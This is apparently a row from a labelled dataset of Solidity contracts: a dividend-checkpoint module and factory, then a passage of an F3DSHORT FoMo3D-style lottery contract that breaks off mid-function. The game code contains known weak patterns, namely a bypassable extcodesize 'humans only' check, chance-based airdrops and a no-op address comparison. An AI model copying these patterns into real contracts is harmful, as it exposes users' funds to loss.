allPermissions[0] = DISTRIBUTE;
allPermissions[1] = MANAGE;
return allPermissions;
}
}
interface IOwnable {
function owner() external view returns (address);
function renounceOwnership() external;
function transferOwnership(address _newOwner) external;
}
contract EtherDividendCheckpoint is DividendCheckpoint {
using SafeMath for uint256;
event EtherDividendDeposited(
address indexed _depositor,
uint256 _checkpointId,
uint256 _created,
uint256 _maturity,
uint256 _expiry,
uint256 _amount,
uint256 _totalSupply,
uint256 _dividendIndex,
bytes32 indexed _name
);
event EtherDividendClaimed(address indexed _payee, uint256 _dividendIndex, uint256 _amount, uint256 _withheld);
event EtherDividendReclaimed(address indexed _claimer, uint256 _dividendIndex, uint256 _claimedAmount);
event EtherDividendClaimFailed(address indexed _payee, uint256 _dividendIndex, uint256 _amount, uint256 _withheld);
event EtherDividendWithholdingWithdrawn(address indexed _claimer, uint256 _dividendIndex, uint256 _withheldAmount);
constructor (address _securityToken, address _polyAddress) public
Module(_securityToken, _polyAddress)
{
}
function createDividend(uint256 _maturity, uint256 _expiry, bytes32 _name) external payable withPerm(MANAGE) {
createDividendWithExclusions(_maturity, _expiry, excluded, _name);
}
function createDividendWithCheckpoint(
uint256 _maturity,
uint256 _expiry,
uint256 _checkpointId,
bytes32 _name
)
external
payable
withPerm(MANAGE)
{
_createDividendWithCheckpointAndExclusions(_maturity, _expiry, _checkpointId, excluded, _name);
}
function createDividendWithExclusions(
uint256 _maturity,
uint256 _expiry,
address[] _excluded,
bytes32 _name
)
public
payable
withPerm(MANAGE)
{
uint256 checkpointId = ISecurityToken(securityToken).createCheckpoint();
_createDividendWithCheckpointAndExclusions(_maturity, _expiry, checkpointId, _excluded, _name);
}
function createDividendWithCheckpointAndExclusions(
uint256 _maturity,
uint256 _expiry,
uint256 _checkpointId,
address[] _excluded,
bytes32 _name
)
public
payable
withPerm(MANAGE)
{
_createDividendWithCheckpointAndExclusions(_maturity, _expiry, _checkpointId, _excluded, _name);
}
function _createDividendWithCheckpointAndExclusions(
uint256 _maturity,
uint256 _expiry,
uint256 _checkpointId,
address[] _excluded,
bytes32 _name
)
internal
{
require(_excluded.length <= EXCLUDED_ADDRESS_LIMIT, "Too many addresses excluded");
require(_expiry > _maturity, "Expiry is before maturity");
require(_expiry > now, "Expiry is in the past");
require(msg.value > 0, "No dividend sent");
require(_checkpointId <= ISecurityToken(securityToken).currentCheckpointId());
require(_name[0] != 0);
uint256 dividendIndex = dividends.length;
uint256 currentSupply = ISecurityToken(securityToken).totalSupplyAt(_checkpointId);
uint256 excludedSupply = 0;
dividends.push(
Dividend(
_checkpointId,
now,
_maturity,
_expiry,
msg.value,
0,
0,
false,
0,
0,
_name
)
);
for (uint256 j = 0; j < _excluded.length; j++) {
require (_excluded[j] != address(0), "Invalid address");
require(!dividends[dividendIndex].dividendExcluded[_excluded[j]], "duped exclude address");
excludedSupply = excludedSupply.add(ISecurityToken(securityToken).balanceOfAt(_excluded[j], _checkpointId));
dividends[dividendIndex].dividendExcluded[_excluded[j]] = true;
}
dividends[dividendIndex].totalSupply = currentSupply.sub(excludedSupply);
emit EtherDividendDeposited(msg.sender, _checkpointId, now, _maturity, _expiry, msg.value, currentSupply, dividendIndex, _name);
}
function _payDividend(address _payee, Dividend storage _dividend, uint256 _dividendIndex) internal {
(uint256 claim, uint256 withheld) = calculateDividend(_dividendIndex, _payee);
_dividend.claimed[_payee] = true;
uint256 claimAfterWithheld = claim.sub(withheld);
if (claimAfterWithheld > 0) {
if (_payee.send(claimAfterWithheld)) {
_dividend.claimedAmount = _dividend.claimedAmount.add(claim);
_dividend.dividendWithheld = _dividend.dividendWithheld.add(withheld);
investorWithheld[_payee] = investorWithheld[_payee].add(withheld);
emit EtherDividendClaimed(_payee, _dividendIndex, claim, withheld);
} else {
_dividend.claimed[_payee] = false;
emit EtherDividendClaimFailed(_payee, _dividendIndex, claim, withheld);
}
}
}
function reclaimDividend(uint256 _dividendIndex) external withPerm(MANAGE) {
require(_dividendIndex < dividends.length, "Incorrect dividend index");
require(now >= dividends[_dividendIndex].expiry, "Dividend expiry is in the future");
require(!dividends[_dividendIndex].reclaimed, "Dividend is already claimed");
Dividend storage dividend = dividends[_dividendIndex];
dividend.reclaimed = true;
uint256 remainingAmount = dividend.amount.sub(dividend.claimedAmount);
address owner = IOwnable(securityToken).owner();
owner.transfer(remainingAmount);
emit EtherDividendReclaimed(owner, _dividendIndex, remainingAmount);
}
function withdrawWithholding(uint256 _dividendIndex) external withPerm(MANAGE) {
require(_dividendIndex < dividends.length, "Incorrect dividend index");
Dividend storage dividend = dividends[_dividendIndex];
uint256 remainingWithheld = dividend.dividendWithheld.sub(dividend.dividendWithheldReclaimed);
dividend.dividendWithheldReclaimed = dividend.dividendWithheld;
address owner = IOwnable(securityToken).owner();
owner.transfer(remainingWithheld);
emit EtherDividendWithholdingWithdrawn(owner, _dividendIndex, remainingWithheld);
}
}
interface IModuleFactory {
event ChangeFactorySetupFee(uint256 _oldSetupCost, uint256 _newSetupCost, address _moduleFactory);
event ChangeFactoryUsageFee(uint256 _oldUsageCost, uint256 _newUsageCost, address _moduleFactory);
event ChangeFactorySubscriptionFee(uint256 _oldSubscriptionCost, uint256 _newMonthlySubscriptionCost, address _moduleFactory);
event GenerateModuleFromFactory(
address _module,
bytes32 indexed _moduleName,
address indexed _moduleFactory,
address _creator,
uint256 _setupCost,
uint256 _timestamp
);
event ChangeSTVersionBound(string _boundType, uint8 _major, uint8 _minor, uint8 _patch);
function deploy(bytes _data) external returns(address);
function getTypes() external view returns(uint8[]);
function getName() external view returns(bytes32);
function getInstructions() external view returns (string);
function getTags() external view returns (bytes32[]);
function changeFactorySetupFee(uint256 _newSetupCost) external;
function changeFactoryUsageFee(uint256 _newUsageCost) external;
function changeFactorySubscriptionFee(uint256 _newSubscriptionCost) external;
function changeSTVersionBounds(string _boundType, uint8[] _newVersion) external;
function getSetupCost() external view returns (uint256);
function getLowerSTVersionBounds() external view returns(uint8[]);
function getUpperSTVersionBounds() external view returns(uint8[]);
}
library VersionUtils {
function isValidVersion(uint8[] _current, uint8[] _new) internal pure returns(bool) {
bool[] memory _temp = new bool[](_current.length);
uint8 counter = 0;
for (uint8 i = 0; i < _current.length; i++) {
if (_current[i] < _new[i])
_temp[i] = true;
else
_temp[i] = false;
}
for (i = 0; i < _current.length; i++) {
if (i == 0) {
if (_current[i] <= _new[i])
if(_temp[0]) {
counter = counter + 3;
break;
} else
counter++;
else
return false;
} else {
if (_temp[i-1])
counter++;
else if (_current[i] <= _new[i])
counter++;
else
return false;
}
}
if (counter == _current.length)
return true;
}
function compareLowerBound(uint8[] _version1, uint8[] _version2) internal pure returns(bool) {
require(_version1.length == _version2.length, "Input length mismatch");
uint counter = 0;
for (uint8 j = 0; j < _version1.length; j++) {
if (_version1[j] == 0)
counter ++;
}
if (counter != _version1.length) {
counter = 0;
for (uint8 i = 0; i < _version1.length; i++) {
if (_version2[i] > _version1[i])
return true;
else if (_version2[i] < _version1[i])
return false;
else
counter++;
}
if (counter == _version1.length - 1)
return true;
else
return false;
} else
return true;
}
function compareUpperBound(uint8[] _version1, uint8[] _version2) internal pure returns(bool) {
require(_version1.length == _version2.length, "Input length mismatch");
uint counter = 0;
for (uint8 j = 0; j < _version1.length; j++) {
if (_version1[j] == 0)
counter ++;
}
if (counter != _version1.length) {
counter = 0;
for (uint8 i = 0; i < _version1.length; i++) {
if (_version1[i] > _version2[i])
return true;
else if (_version1[i] < _version2[i])
return false;
else
counter++;
}
if (counter == _version1.length - 1)
return true;
else
return false;
} else
return true;
}
function pack(uint8 _major, uint8 _minor, uint8 _patch) internal pure returns(uint24) {
return (uint24(_major) << 16) | (uint24(_minor) << 8) | uint24(_patch);
}
function unpack(uint24 _packedVersion) internal pure returns (uint8[]) {
uint8[] memory _unpackVersion = new uint8[](3);
_unpackVersion[0] = uint8(_packedVersion >> 16);
_unpackVersion[1] = uint8(_packedVersion >> 8);
_unpackVersion[2] = uint8(_packedVersion);
return _unpackVersion;
}
}
contract ModuleFactory is IModuleFactory, Ownable {
IERC20 public polyToken;
uint256 public usageCost;
uint256 public monthlySubscriptionCost;
uint256 public setupCost;
string public description;
string public version;
bytes32 public name;
string public title;
mapping(string => uint24) compatibleSTVersionRange;
event ChangeFactorySetupFee(uint256 _oldSetupCost, uint256 _newSetupCost, address _moduleFactory);
event ChangeFactoryUsageFee(uint256 _oldUsageCost, uint256 _newUsageCost, address _moduleFactory);
event ChangeFactorySubscriptionFee(uint256 _oldSubscriptionCost, uint256 _newMonthlySubscriptionCost, address _moduleFactory);
event GenerateModuleFromFactory(
address _module,
bytes32 indexed _moduleName,
address indexed _moduleFactory,
address _creator,
uint256 _timestamp
);
event ChangeSTVersionBound(string _boundType, uint8 _major, uint8 _minor, uint8 _patch);
constructor (address _polyAddress, uint256 _setupCost, uint256 _usageCost, uint256 _subscriptionCost) public {
polyToken = IERC20(_polyAddress);
setupCost = _setupCost;
usageCost = _usageCost;
monthlySubscriptionCost = _subscriptionCost;
}
function changeFactorySetupFee(uint256 _newSetupCost) public onlyOwner {
emit ChangeFactorySetupFee(setupCost, _newSetupCost, address(this));
setupCost = _newSetupCost;
}
function changeFactoryUsageFee(uint256 _newUsageCost) public onlyOwner {
emit ChangeFactoryUsageFee(usageCost, _newUsageCost, address(this));
usageCost = _newUsageCost;
}
function changeFactorySubscriptionFee(uint256 _newSubscriptionCost) public onlyOwner {
emit ChangeFactorySubscriptionFee(monthlySubscriptionCost, _newSubscriptionCost, address(this));
monthlySubscriptionCost = _newSubscriptionCost;
}
function changeTitle(string _newTitle) public onlyOwner {
require(bytes(_newTitle).length > 0, "Invalid title");
title = _newTitle;
}
function changeDescription(string _newDesc) public onlyOwner {
require(bytes(_newDesc).length > 0, "Invalid description");
description = _newDesc;
}
function changeName(bytes32 _newName) public onlyOwner {
require(_newName != bytes32(0),"Invalid name");
name = _newName;
}
function changeVersion(string _newVersion) public onlyOwner {
require(bytes(_newVersion).length > 0, "Invalid version");
version = _newVersion;
}
function changeSTVersionBounds(string _boundType, uint8[] _newVersion) external onlyOwner {
require(
keccak256(abi.encodePacked(_boundType)) == keccak256(abi.encodePacked("lowerBound")) ||
keccak256(abi.encodePacked(_boundType)) == keccak256(abi.encodePacked("upperBound")),
"Must be a valid bound type"
);
require(_newVersion.length == 3);
if (compatibleSTVersionRange[_boundType] != uint24(0)) {
uint8[] memory _currentVersion = VersionUtils.unpack(compatibleSTVersionRange[_boundType]);
require(VersionUtils.isValidVersion(_currentVersion, _newVersion), "Failed because of in-valid version");
}
compatibleSTVersionRange[_boundType] = VersionUtils.pack(_newVersion[0], _newVersion[1], _newVersion[2]);
emit ChangeSTVersionBound(_boundType, _newVersion[0], _newVersion[1], _newVersion[2]);
}
function getLowerSTVersionBounds() external view returns(uint8[]) {
return VersionUtils.unpack(compatibleSTVersionRange["lowerBound"]);
}
function getUpperSTVersionBounds() external view returns(uint8[]) {
return VersionUtils.unpack(compatibleSTVersionRange["upperBound"]);
}
function getSetupCost() external view returns (uint256) {
return setupCost;
}
function getName() public view returns(bytes32) {
return name;
}
}
contract EtherDividendCheckpointFactory is ModuleFactory {
constructor (address _polyAddress, uint256 _setupCost, uint256 _usageCost, uint256 _subscriptionCost) public
ModuleFactory(_polyAddress, _setupCost, _usageCost, _subscriptionCost)
{
version = "1.0.0";
name = "EtherDividendCheckpoint";
title = "Ether Dividend Checkpoint";
description = "Create ETH dividends for token holders at a specific checkpoint";
compatibleSTVersionRange["lowerBound"] = VersionUtils.pack(uint8(0), uint8(0), uint8(0));
compatibleSTVersionRange["upperBound"] = VersionUtils.pack(uint8(0), uint8(0), uint8(0));
}
function deploy(bytes ) external returns(address) {
if(setupCost > 0)
require(polyToken.transferFrom(msg.sender, owner, setupCost), "Insufficent allowance or balance");
address ethDividendCheckpoint = new EtherDividendCheckpoint(msg.sender, address(polyToken));
emit GenerateModuleFromFactory(ethDividendCheckpoint, getName(), address(this), msg.sender, setupCost, now);
return ethDividendCheckpoint;
}
function getTypes() external view returns(uint8[]) {
uint8[] memory res = new uint8[](1);
res[0] = 4;
return res;
}
function getInstructions() external view returns(string) {
return "Create a dividend which will be paid out to token holders proportionally according to their balances at the point the dividend is created";
}
function getTags() external view returns(bytes32[]) {
bytes32[] memory availableTags = new bytes32[](3);
availableTags[0] = "ETH";
availableTags[1] = "Checkpoint";
availableTags[2] = "Dividend";
return availableTags;
}
} | 0 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract F3DSHORT is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x004f29f33530cfa4a9f10e1a83ca4063ce96df7140);
address private admin = msg.sender;
string constant public name = "F3DSHORT";
string constant public symbol = "F3DSHORT";
uint256 private rndExtra_ = 10 minutes;
uint256 private rndGap_ = 10 minutes;
uint256 constant private rndInit_ = 10 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 20 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(22,6);
fees_[1] = F3Ddatasets.TeamFee(38,0);
fees_[2] = F3Ddatasets.TeamFee(52,10);
fees_[3] = F3Ddatasets.TeamFee(68,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
